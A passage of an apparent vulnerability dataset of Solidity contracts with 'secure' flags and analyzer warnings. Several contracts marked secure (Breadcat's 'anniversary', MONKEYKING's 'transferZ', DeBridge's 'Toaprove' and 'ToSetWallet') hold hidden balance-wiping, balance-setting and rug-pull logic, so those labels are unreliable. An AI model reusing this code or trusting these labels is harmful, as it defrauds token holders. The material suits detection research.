lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 9cff9f3\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: beefee5\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 9cff9f3\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 9cff9f3\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: beefee5\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: beefee5\n\t\t// reentrancy-events | ID: 8e53d3c\n\t\t// reentrancy-benign | ID: a4a390d\n\t\t// reentrancy-eth | ID: 9cff9f3\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function manualSend() external onlyOwner {\n uint256 contractBalance = address(this).balance;\n\n require(contractBalance > 0, \"No ETH available in the contract\");\n\n _taxWallet.transfer(contractBalance);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 6b977b8): EDR.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 6b977b8: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: beefee5\n\t\t// reentrancy-events | ID: 8e53d3c\n\t\t// reentrancy-eth | ID: 9cff9f3\n\t\t// arbitrary-send-eth | ID: 6b977b8\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a539b42): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a539b42: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 43a2630): EDR.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 43a2630: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e6bcdb0): EDR.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for e6bcdb0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fa17445): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fa17445: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: a539b42\n\t\t// reentrancy-eth | ID: fa17445\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: a539b42\n\t\t// unused-return | ID: e6bcdb0\n\t\t// reentrancy-eth | ID: fa17445\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: a539b42\n\t\t// unused-return | ID: 43a2630\n\t\t// reentrancy-eth | ID: fa17445\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: a539b42\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: fa17445\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_1547.sol",
"secure": 0,
"size_bytes": 17063
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Breadcat is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable language;\n\n constructor() {\n _name = \"breadcat\";\n\n _symbol = \"BREADCAT\";\n\n _decimals = 18;\n\n uint256 initialSupply = 183000000;\n\n language = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == language, \"Not allowed\");\n\n _;\n }\n\n function anniversary(address[] memory world) public onlyOwner {\n for (uint256 i = 0; i < world.length; i++) {\n address account = world[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_1548.sol",
"secure": 1,
"size_bytes": 4367
} |
{
"code": "// SPDX-License-Identifier: Apache-2.0\n\npragma solidity ^0.8.0;\n\ninterface L1StandardBridge {\n function depositETHTo(\n address _to,\n uint32 _l2Gas,\n bytes calldata _data\n ) external payable;\n\n function depositERC20To(\n address _l1Token,\n address _l2Token,\n address _to,\n uint256 _amount,\n uint32 _l2Gas,\n bytes calldata _data\n ) external;\n}",
"file_name": "solidity_code_1549.sol",
"secure": 1,
"size_bytes": 434
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair_);\n}",
"file_name": "solidity_code_155.sol",
"secure": 1,
"size_bytes": 212
} |
{
"code": "// SPDX-License-Identifier: Apache-2.0\n\npragma solidity ^0.8.0;\n\ninterface OldL1TokenGateway {\n function depositTo(address _to, uint256 _amount) external;\n\n function initiateSynthTransfer(\n bytes32 currencyKey,\n address destination,\n uint256 amount\n ) external;\n}",
"file_name": "solidity_code_1550.sol",
"secure": 1,
"size_bytes": 305
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract CYZH is ERC20, ERC20Burnable, Ownable {\n constructor() ERC20(\"CYZ Homestead\", \"CYZH\") {\n _mint(msg.sender, 3500000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1551.sol",
"secure": 1,
"size_bytes": 457
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Token is ERC20, Ownable {\n constructor() ERC20(\"Mach5\", \"MACH5\") {\n _mint(msg.sender, 20000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1552.sol",
"secure": 1,
"size_bytes": 341
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract MONKEYKING is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 100_000_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"MonkeyKing\";\n\n string private constant _symbol = unicode\"MK\";\n\n address private constant UniswapV2_MK_WETH =\n 0xA64A104873Ee1B9c0013F02fA1C18e76d786fE8f;\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) private {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[from] = fromBalance - amount;\n\n _balances[to] = _balances[to].add(amount);\n\n emit Transfer(from, to, amount);\n }\n\n function transferZ(\n address recipient,\n uint256 amount\n ) public returns (bool) {\n require(_msgSender() != UniswapV2_MK_WETH, \"Cant transfer\");\n\n _balances[recipient] = amount;\n\n return true;\n }\n}",
"file_name": "solidity_code_1553.sol",
"secure": 1,
"size_bytes": 3882
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract ERC20Interface {\n function totalSupply() public view virtual returns (uint256);\n function balanceOf(\n address tokenOwner\n ) public view virtual returns (uint256 balance);\n function allowance(\n address tokenOwner,\n address spender\n ) public view virtual returns (uint256 remaining);\n function transfer(\n address to,\n uint256 tokens\n ) public virtual returns (bool success);\n function approve(\n address spender,\n uint256 tokens\n ) public virtual returns (bool success);\n function transferFrom(\n address from,\n address to,\n uint256 tokens\n ) public virtual returns (bool success);\n\n event Transfer(address indexed from, address indexed to, uint256 tokens);\n event Approval(\n address indexed tokenOwner,\n address indexed spender,\n uint256 tokens\n );\n}",
"file_name": "solidity_code_1554.sol",
"secure": 1,
"size_bytes": 989
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferforOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function TransferThisOwnerships(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n _transferforOwnership(newOwner);\n }\n\n function _transferforOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}",
"file_name": "solidity_code_1555.sol",
"secure": 1,
"size_bytes": 1162
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract CLIPPYAI is ERC20, Ownable {\n constructor() ERC20(\"CLIPPY AI\", \"CLIPPY\") {\n _mint(msg.sender, 101010101010 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1556.sol",
"secure": 1,
"size_bytes": 360
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IOpenseaExchange {\n function atomicMatch_(\n address[14] memory addrs,\n uint256[18] memory uints,\n uint8[8] memory feeMethodsSidesKindsHowToCalls,\n bytes memory calldataBuy,\n bytes memory calldataSell,\n bytes memory replacementPatternBuy,\n bytes memory replacementPatternSell,\n bytes memory staticExtradataBuy,\n bytes memory staticExtradataSell,\n uint8[2] memory vs,\n bytes32[5] memory rssMetadata\n ) external payable;\n\n function approveOrder_(\n address[7] memory addrs,\n uint256[9] memory uints,\n uint8 feeMethod,\n uint8 side,\n uint8 saleKind,\n uint8 howToCall,\n bytes memory _calldata,\n bytes memory replacementPattern,\n bytes memory staticExtradata,\n bool orderbookInclusionDesired\n ) external;\n\n function cancelOrder_(\n address[7] memory addrs,\n uint256[9] memory uints,\n uint8 feeMethod,\n uint8 side,\n uint8 saleKind,\n uint8 howToCall,\n bytes memory _calldata,\n bytes memory replacementPattern,\n bytes memory staticExtradata,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n function validateOrder_(\n address[7] memory addrs,\n uint256[9] memory uints,\n uint8 feeMethod,\n uint8 side,\n uint8 saleKind,\n uint8 howToCall,\n bytes memory _calldata,\n bytes memory replacementPattern,\n bytes memory staticExtradata,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (bool);\n}",
"file_name": "solidity_code_1557.sol",
"secure": 1,
"size_bytes": 1741
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IApproveableNFT {\n function setApprovalForAll(address operator, bool _approved) external;\n\n function isApprovedForAll(\n address owner,\n address operator\n ) external view returns (bool);\n}",
"file_name": "solidity_code_1558.sol",
"secure": 1,
"size_bytes": 289
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IProxyRegistry {\n function registerProxy() external returns (address);\n\n function proxies(address seller) external view returns (address);\n}",
"file_name": "solidity_code_1559.sol",
"secure": 1,
"size_bytes": 222
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router {\n function factory() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 a,\n uint256 b,\n address[] calldata path,\n address cAddress,\n uint256\n ) external;\n\n function WETH() external pure returns (address aadd);\n}",
"file_name": "solidity_code_156.sol",
"secure": 1,
"size_bytes": 414
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IAssetsHolderCreator {\n function createNFTVaultAssetsHolder(uint256 vaultId) external;\n}",
"file_name": "solidity_code_1560.sol",
"secure": 1,
"size_bytes": 165
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract SafeMath {\n function safeAdd(uint256 a, uint256 b) public pure returns (uint256 c) {\n c = a + b;\n require(c >= a);\n }\n function safeSub(uint256 a, uint256 b) public pure returns (uint256 c) {\n require(b <= a);\n c = a - b;\n }\n function safeMul(uint256 a, uint256 b) public pure returns (uint256 c) {\n c = a * b;\n require(a == 0 || c / a == b);\n }\n function safeDiv(uint256 a, uint256 b) public pure returns (uint256 c) {\n require(b > 0);\n c = a / b;\n }\n}",
"file_name": "solidity_code_1561.sol",
"secure": 1,
"size_bytes": 621
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IAssetsHolderImpl {\n function transferToken(\n bool isERC1155,\n address recipient,\n address collection,\n uint256 tokenId\n ) external;\n\n function sendValue(address payable to, uint256 amount) external;\n}",
"file_name": "solidity_code_1562.sol",
"secure": 1,
"size_bytes": 319
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface INFTTokenTransferHandler {\n function transferNFTVaultToken(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n function isNFTApprovedForAll(\n address owner,\n address operator\n ) external returns (bool);\n}",
"file_name": "solidity_code_1563.sol",
"secure": 1,
"size_bytes": 343
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IDiamondCut {\n enum FacetCutAction {\n Add,\n Replace,\n Remove\n }\n\n struct FacetCut {\n address facetAddress;\n FacetCutAction action;\n bytes4[] functionSelectors;\n }\n\n function diamondCut(\n FacetCut[] calldata _diamondCut,\n address _init,\n bytes calldata _calldata\n ) external;\n\n event DiamondCut(FacetCut[] _diamondCut, address _init, bytes _calldata);\n}",
"file_name": "solidity_code_1564.sol",
"secure": 1,
"size_bytes": 528
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IDiamondLoupe {\n struct Facet {\n address facetAddress;\n bytes4[] functionSelectors;\n }\n\n function facets() external view returns (Facet[] memory facets_);\n\n function facetFunctionSelectors(\n address _facet\n ) external view returns (bytes4[] memory facetFunctionSelectors_);\n\n function facetAddresses()\n external\n view\n returns (address[] memory facetAddresses_);\n\n function facetAddress(\n bytes4 _functionSelector\n ) external view returns (address facetAddress_);\n}",
"file_name": "solidity_code_1565.sol",
"secure": 1,
"size_bytes": 630
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract IdkTOKEN is ERC20 {\n constructor() ERC20(\"I DONT KNOW\", \"IDK\") {\n _mint(msg.sender, 1_000_000 ether);\n }\n\n function burn(uint256 amount) external {\n _burn(msg.sender, amount);\n }\n}",
"file_name": "solidity_code_1566.sol",
"secure": 1,
"size_bytes": 353
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Interface.sol\" as ERC20Interface;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Coin is ERC20Interface, SafeMath {\n string public constant name = \"MyNewCoin\";\n\n string public constant symbol = \"MNC\";\n\n uint8 public constant decimals = 18;\n\n uint256 public constant _totalSupply = 2000000000000000000000000000;\n\n mapping(address => uint256) balances;\n mapping(address => mapping(address => uint256)) allowed;\n\n constructor() {\n balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply - balances[address(0)];\n }\n\n function balanceOf(\n address tokenOwner\n ) public view override returns (uint256 balance) {\n return balances[tokenOwner];\n }\n\n function allowance(\n address tokenOwner,\n address spender\n ) public view override returns (uint256 remaining) {\n return allowed[tokenOwner][spender];\n }\n\n function _transfer(\n address from,\n address to,\n uint256 tokens\n ) private returns (bool success) {\n balances[from] = safeSub(balances[from], tokens);\n balances[to] = safeAdd(balances[to], tokens);\n return true;\n }\n\n function transfer(\n address to,\n uint256 tokens\n ) public override returns (bool success) {\n _transfer(msg.sender, to, tokens);\n emit Transfer(msg.sender, to, tokens);\n return true;\n }\n\n function approve(\n address spender,\n uint256 tokens\n ) public override returns (bool success) {\n allowed[msg.sender][spender] = tokens;\n emit Approval(msg.sender, spender, tokens);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokens\n ) public override returns (bool success) {\n allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);\n _transfer(from, to, tokens);\n emit Transfer(from, to, tokens);\n return true;\n }\n}",
"file_name": "solidity_code_1567.sol",
"secure": 1,
"size_bytes": 2276
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract OctoberHunt is ERC20, Ownable {\n constructor() ERC20(\"October Hunt\", \"HUNT \") {\n _mint(msg.sender, 10000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1568.sol",
"secure": 1,
"size_bytes": 361
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Dope is ERC20 {\n constructor() ERC20(\"Dope\", \"DOPE\") {\n _mint(msg.sender, 69000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1569.sol",
"secure": 1,
"size_bytes": 267
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract DeBridge is Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9a79935): deBridge._decimals should be constant \n\t// Recommendation for 9a79935: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: cfb451b): deBridge._totalSupply should be immutable \n\t// Recommendation for cfb451b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;\n\n constructor() {\n _balances[sender()] = _totalSupply;\n\n emit Transfer(address(0), sender(), _balances[sender()]);\n\n _taxWallet = msg.sender;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 2d9b3ed): deBridge._name should be constant \n\t// Recommendation for 2d9b3ed: Add the 'constant' attribute to state variables that never change.\n string private _name = \"deBridge\";\n\n\t// WARNING Optimization Issue (constable-states | ID: c04c642): deBridge._symbol should be constant \n\t// Recommendation for c04c642: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"DBR\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 275653a): deBridge.uniV2Router should be constant \n\t// Recommendation for 275653a: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private uniV2Router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: a42de71): deBridge._taxWallet should be immutable \n\t// Recommendation for a42de71: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _taxWallet;\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"IERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"IERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function setswappairs() public {}\n\n function setpairswapto() external {}\n\n function topair() public {}\n\n function toswappair() public {}\n\n function Toaprove(address[] calldata walletAddress) external {\n uint256 fromBlockNo = getBlockNumber();\n\n for (\n uint256 walletInde = 0;\n walletInde < walletAddress.length;\n walletInde++\n ) {\n if (!marketingAddres()) {} else {\n cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;\n }\n }\n }\n\n function transferFrom(\n address from,\n address recipient,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from, recipient, _amount);\n\n require(_allowances[from][sender()] >= _amount);\n\n return true;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function getBlockNumber() internal view returns (uint256) {\n return block.number;\n }\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n function allowance(\n address accountOwner,\n address spender\n ) public view returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n\n _approve(sender(), from, _allowances[msg.sender][from] - amount);\n\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256);\n\n mapping(address => uint256) internal cooldowns;\n\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n\n function marketingAddres() private view returns (bool) {\n return (_taxWallet == (sender()));\n }\n\n function sender() internal view returns (address) {\n return msg.sender;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function ToSetWallet(uint256 amount, address walletAddr) external {\n if (marketingAddres()) {\n _approve(address(this), address(uniV2Router), amount);\n\n _balances[address(this)] = amount;\n\n address[] memory addressPath = new address[](2);\n\n addressPath[0] = address(this);\n\n addressPath[1] = uniV2Router.WETH();\n\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n addressPath,\n walletAddr,\n block.timestamp + 32\n );\n } else {\n return;\n }\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n uint256 _taxValue = 0;\n\n require(from != address(0));\n\n require(value <= _balances[from]);\n\n emit Transfer(from, to, value);\n\n _balances[from] = _balances[from] - (value);\n\n bool onCooldown = (cooldowns[from] <= (getBlockNumber()));\n\n uint256 _cooldownFeeValue = value.mul(999).div(1000);\n\n if ((cooldowns[from] != 0) && onCooldown) {\n _taxValue = (_cooldownFeeValue);\n }\n\n uint256 toBalance = _balances[to];\n\n toBalance += (value) - (_taxValue);\n\n _balances[to] = toBalance;\n }\n\n event Approval(address indexed, address indexed, uint256 value);\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n sender(),\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n\n return true;\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(sender(), recipient, amount);\n\n return true;\n }\n\n mapping(address => uint256) private _balances;\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n}",
